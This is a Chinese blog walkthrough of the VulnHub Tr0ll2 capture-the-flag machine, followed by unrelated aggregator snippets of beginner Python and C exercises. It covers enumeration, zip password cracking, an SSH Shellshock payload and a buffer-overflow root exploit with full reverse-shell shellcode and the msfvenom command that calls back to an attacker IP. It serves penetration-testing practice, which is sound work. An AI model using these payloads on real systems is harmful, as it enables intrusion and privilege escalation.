代码编织梦想

靶机地址:https://www.vulnhub.com/entry/tr0ll-2,107/
靶机难度:中级(CTF)
靶机描述:Tr0ll系列VM中的下一台计算机,这比原始的Tr0ll难度有所提高,但是解决所需的时间大致相同,并且毫无疑问,巨魔仍然存在!
难度是从初学者到中级。
目标:得到root权限&找到proof.txt
作者:嗯嗯呐

信息收集

nmap确定靶机地址
在这里插入图片描述

nmap扫描靶机端口
在这里插入图片描述

扫描出三个端口
21 FTP
22 ssh
80 http
访问80端口没有获得什么信息
在这里插入图片描述

使用dirb爆破一下目录
在这里插入图片描述

找到robosts,将文件中的目录加入dirb字典,在扫描一遍
在这里插入图片描述
在这里插入图片描述

再次使用dirb爆破
在这里插入图片描述

发现了新的可以访问的界面
访问发现全部是一个图片
在这里插入图片描述

之后就没有思路了,open 5.9也没有什么漏洞,
只能把获得图片全部读取一下,在dont_bother目录的图片中获得提示
在这里插入图片描述

y0ur_self应该是个目录,可以访问
在这里插入图片描述

打开发现很多base64编码
在这里插入图片描述

根据文件名提示应该是密码,下载先解码看看
在这里插入图片描述

目前靶机可以登录只有SSH和FTP
分布尝试访问一下
登陆ftp获得Tr0ll用户提示
密码也使用用户名试一下
在这里插入图片描述

看到ftp下有个lmao.zip文件,下载下来,打开看看
在这里插入图片描述

fcrackzip爆破

解压需要密码,使用fcrackzip进行暴力破解一下
Fcrackzip是一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于linux、mac osx 系统。
-u 用zip去尝试
-D 使用字典
-p 使用字符串作为初始密码/文件

 fcrackzip -u -D -p 1.txt lmao.zip 

在这里插入图片描述

获得zip的密码,真的很快
解压zip文件,获得一个noob文件,是一个key
在这里插入图片描述
在这里插入图片描述

OpenSSH用户枚举漏洞

使用靶机存在的ssh用户枚举漏洞,查一下有没有noob用户
在这里插入图片描述

noob用户存在
在这里插入图片描述

使用key文件登陆noob用户
在这里插入图片描述

shellshock攻击

登陆失败,之后试了其他用户,都是不行,只能看看其他人怎么做的了,这里我登陆报错和其他人的不太一样,试了半天也不行,反正也是明白这里的思路了,就不计较了。
这里是利用Shellshock漏洞
在这里插入图片描述

进程误把普通环境变量() { :; }当做函数环境变量处理。
想具体了解漏洞原理,请自行百度
我们在这里构造一个shell命令试试

ssh  noob@192.168.16.141 -i noob -t '() { :;}; /bin/bash'

-t 远程登录服务器后执行某个脚本
操作系统误当() { :;}; 为函数环境变量
在这里插入图片描述

查看环境变量,看到执行结果了
在这里插入图片描述

缓冲区溢出提权

漏洞提权试了半天都是失败,应该是打了补丁,查一下具有SID权限的程序,看看可不可以通过缓冲区溢出提权

find / -perm -4000 2> /dev/unll

查询具有SID权限的文件,将错误输出到/dev/unll
在这里插入图片描述

这三个文件夹里的内容分别执行,发现第一个是一句输出,第二个是重启,第三个是输入靶机,那我们去door3目录下的r00t文件看看去,gdb调试r00t程序
在这里插入图片描述

竟然有重启,以后不能乱执行程序了,我们可以先用gdb看一下main函数
在这里插入图片描述

使用了strcpy()函数,我们这里可以使用函数存在的漏洞
在这里插入图片描述

使用msf自带的插件生成1024个字符

cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 1024

在这里插入图片描述

在gdb中执行r00t,获得异常的,我们可以看到缓冲区溢出在0x6a413969这个位置
在这里插入图片描述

使用msf中的pattern_offset.rb反查6a413969对应上面1024字符中的那个位置
在这里插入图片描述

对应着第268个字符
我们就冲这个字符开始,将我们想执行的命令放到这位置,就完成了缓冲区溢出的利用了
开始我们的操作

i r esp #查询esp就是栈顶指针的位置

在这里插入图片描述

  • esp:寄存器存放当前线程的栈顶指针。
  • ebp:寄存器存放当前线程的栈底指针。
  • eip:寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。

我们也可以通着下面方式验证,溢出的内容覆盖了返回地址和esp。
因为我们前面查到268个字符之后溢出,我们生成268个字符
在这里插入图片描述

之后在生成的字符后添加8个字符‘CCCCDDDD’,执行以后看一下缓冲区溢出的或esp的内容
在这里插入图片描述
查看ESP内容
在这里插入图片描述我们看到DDDD把esp覆盖,而CCCC是覆盖了返回地址。
因此我们可以的出结论,我们需要构造268个字符,将esp位置放在268个字符之后,这样esp位置就存在了返回地址的栈里,并在esp字符之后加入shellcode,这样完成了对缓冲区溢出的利用。
268字符+esp+shellcodo

./r00t $(python -c 'print "c"*268 + "\x80\xfb\xff\xbf" + "\x90"*16 + "\xb8\x5d\x7d\xc3\x23\xda\xc3\xd9\x74\x24\xf4\x5b\x33\xc9\xb1\x12\x83\xeb\xfc\x31\x43\x0e\x03\x1e\x73\x21\xd6\x91\x50\x52\xfa\x82\x25\xce\x97\x26\x23\x11\xd7\x40\xfe\x52\x8b\xd5\xb0\x6c\x61\x65\xf9\xeb\x80\x0d\x3a\xa3\x63\x4c\xd2\xb6\x83\x54\x29\x3e\x62\xd8\x4b\x10\x34\x4b\x27\x93\x3f\x8a\x8a\x14\x6d\x24\x7b\x3a\xe1\xdc\xeb\x6b\x2a\x7e\x85\xfa\xd7\x2c\x06\x74\xf6\x60\xa3\x4b\x79"')

在这里插入图片描述
在这里插入图片描述

shellcode是通过msfvenom制作的一个反弹shell

msfvenom -p linux/x86/shell/reverse_tcp LHOSTS=192.168.16.129 LPORT=6666 -b "\x00\x0a\x0" -f python

在这里插入图片描述

在root目录下获得flag
在这里插入图片描述

完成!!!

总结

缓冲区溢出的问题我纠结了好了几天总算明白一点了,感觉进度太慢了,不过收获很大,很高兴。本章主要两个大的知识点Shellshock和缓冲区溢出,上面只是一种思路,仅供参考。本章渗透思路如下图;

在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/shenyu_1126/article/details/110505159

小白Python自学-第一天-爱代码爱编程

说在开头 学习Python有什么用(个人角度) 对于我来说,我学习这门语言一是为了有一技傍身,不仅锻炼自己的逻辑思维能力,而且对以后的职业规划或者转行也有一定的帮助和基础;其次的话Python这门语言对提升我们日常的工作效率或者对大数据时代信息的汲取也有很大的帮助。之前也是一直想学,但是没能坚持下来,希望借助这次机会能提升一波自己。 第一天知识要点

Win10 python安装教程-爱代码爱编程

Win10 python 安装教程 1、下载安装包 首先进入python官方网站下载安装包(https://www.python.org/downloads/) 如果你想下载其他版本的安装包,请点击Downloads > Windows >选择你要的版本下载 下载好了可执行文件,点击安装 2、开始安装啦 (1)如果你不想安装到默认地址,

一文识尽matplotlib.pyplot(三)-爱代码爱编程

1. 散点图 import matplotlib.pyplot as plt import numpy as np x = np.arange(5) y = np.arange(5) plt.scatter(x,y,color = 'red',s = 30,alpha= 0.8) #alpha 是不透明度,0~1的范围 plt.show()

Python程序设计教程 第三章 流程控制语句下 <循环语句>-爱代码爱编程

Python 程序设计教程 第三章 流程控制语句下👩🏻‍💻 3.2 循环语句 循环的意思就是让程序重复地执行某些语句。在实际应用中,当碰到需要多次重复地执行一个或多个任务时,可考虑使用循环语句来解决。循环语句的特点是在给定条件成立时,重复执行某个程序段。通常称给定条件为循环条件,称反复执行的程序段为循环体。 3.2.1 while语句 在whil

spark之CountVectorizer-爱代码爱编程

CountVectorizer会统计特定文档中单词出现的次数,并且会根据单词的频率进行排序,频率高的排在前面,当频率相同时,则它的位置个人感觉是随机的。因为太过例子跑出来,每一次都不相同。 ##语料被称为文本文档的完整集合。 ##标记化,将指定语句或文本文档的词语集合划分成单位/独立词语的方法被称为标记化 from pyspark.sql import

CCF csp 201312-02 4ISBN编码(python)-爱代码爱编程

#ISBN编码 ''' 注意一点: 如果最后一位是'X',则在int(string1[-1])就会直接报错。 ''' string1 = input() sum = 0 j = 1 for i in range(len(string1) - 1): if string1[i] != '-': sum += int(string1[i

【C语言】判断字符串是不是回文-爱代码爱编程

#include "stdio.h" #include "conio.h" #define LEN 1000 void backstring(char o_str[]) { int len = 0; int n = 0;//判断回文的条件 for (int i = 0;o_str[i] != '\0'; i++){len++;}//判断

c语言输出100!的数值中的0的个数-爱代码爱编程

前言:今天学了输出100!的数值中的0的个数,想与大家分享一下我学的新成果 第一种方法: include<stdio.h> int main(void) { int x=1,a=0; while(x<101){ if(x%50){ a++; } if(x%250){ a++; } x+=1; } printf("%d",a); re

最大公约数(OJ)-爱代码爱编程

1062: 最大公约数 题目描述 输入两个正整数,输出其最大公约数。输入 输入两个正整数m和n,数据之间用空格隔开。输出 输出一个整数,表示m和n的最大公约数。样例输入 Copy 4 6样例输出 Copy 2 #include <stdio.h> int gcd(int m,int n); int main() { int m,n;

杨辉三角输出-爱代码爱编程

杨辉三角输出(以五行为例) #include<iostream> using namespace std; main() { int i,j,k; int m=1; int a[6][16]={0}; for(i=1;i<=5;i++) { for(j=1;j<=i;j++)

力扣-最长回文字串-爱代码爱编程

断更一天……昨晚emotion乱糟糟的。零点过后想着立马补上,结果却是做了一个网络竞赛,拿了个证书……离谱回文串 char * longestPalindrome(char * s){ if(strlen(s)==0||strlen(s)==1) return s; int i,start,left,right,count,len;

Jasmine的OJ 1070: 小汽车的位置-爱代码爱编程

Jasmine的OJ 1070: 小汽车的位置 题目描述 有一辆智能小车,最初(时间为0)的位置为(0,0),我们想知道它最后的位置。小车以每小时10公里的速度向北移动(以北为y轴正向,以东为x轴正向)。小车会受到一系列依照时间戳记排序的命令,1表示“向左转”,2表示“向右转”,3表“停止”。每个命令的前面有一个时间戳记,所以我们知道该命令是何时发出的。最